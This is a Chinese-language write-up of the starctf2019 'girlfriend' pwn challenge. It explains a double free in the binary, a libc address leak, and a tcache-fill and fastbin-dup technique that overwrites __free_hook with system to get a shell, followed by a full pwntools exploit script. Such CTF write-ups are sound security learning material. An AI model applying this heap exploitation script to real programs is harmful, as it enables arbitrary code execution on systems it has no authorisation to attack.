starctf2019-girlfriend

介绍

starctf2019的一道题,题目不难,但是是最新的2.29的libc,调试起来挺麻烦的。

分析程序

程序是一个典型的单选系统,有add、show、call(free)等操作,结构体如下

1
2
3
4
5
00000000 node            struc ; (sizeof=0x18, mappedto_6)
00000000 name_addr dq ? ; offset
00000008 size dd ?
0000000C call db 12 dup(?)
00000018 node ends

漏洞出现在call的时候,free掉指针后,并没有将指针清零,并且没有对index做检查,所以可以做到double free

并且leak信息也很简单,程序可以打印堆内容,打印chunk中残留的libc地址即可。

利用方式

  1. malloc一个大于tcache的堆,并free掉,直接输出堆内容,即可拿到残留的libc地址
  2. malloc两次,用于之后的double free
  3. malloc7个chunk并free掉,填满tcache
  4. 再次free即可造成fastbin上double free,绕过检查即可
  5. malloc7次用完tcache,再利用double free修改__free_hook
  6. free(“/bin/sh”)即可getshell

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/usr/bin/env python2
# -*- coding: utf-8 -*-

from pwn import *

context.log_level = 'debug'

binary = './chall'
lib64 = './lib/libc.so.6'
p = remote('127.0.0.1',8080)
elf = ELF(binary)
libc = ELF(lib64)

def add(size, name, call):
p.recvuntil('Input your choice:')
p.sendline('1')
p.recvuntil('Please input the size of girl\'s name')
p.sendline(str(size))
p.recvuntil('please inpute her name:\n')
p.send(name)
p.recvuntil('please input her call:\n')
p.send(call)

def show(idx):
p.recvuntil('Input your choice:')
p.sendline('2')
p.recvuntil('Please input the index:\n')
p.sendline(str(idx))

def call(idx):
p.recvuntil('Input your choice:')
p.sendline('4')
p.recvuntil('Please input the index:\n')
p.sendline(str(idx))


# leak
add(0x500,'\n','11111') # 0
add(0x10,'/bin/sh','11111') # 1
call(0)
show(0)
p.recvuntil('name:\n')
leak = p.recv(6)
libc.address = u64(leak.ljust(8,'\x00')) - (0x7f1ea4c36ca0 - 0x7f1ea4885000)

# 准备之后fastbin上的double free
add(0x60,'aaaa','aaaa') # 2
add(0x60,'bbbb','bbbb') # 3

for i in range(7):
add(0x60,str(i)*10,str(1)*10)

# 填满tcache
for i in range(7):
call(i+4)

# fastbin上double free
call(2)
call(3)
call(2)

# malloc完tcache上的chunk
for i in range(7):
add(0x60,str(i)*10,str(1)*10)

# __free_hook -> system
add(0x60,p64(libc.symbols['__free_hook'] - 0x13),'111')
add(0x60,'a'*0x13 + p64(libc.symbols['system']),'111')
add(0x60,'a'*0x13 + p64(libc.symbols['system']),'111')
add(0x60,'a'*0x13 + p64(libc.symbols['system']),'111')

# system("/bin/sh")
call(1)

p.interactive()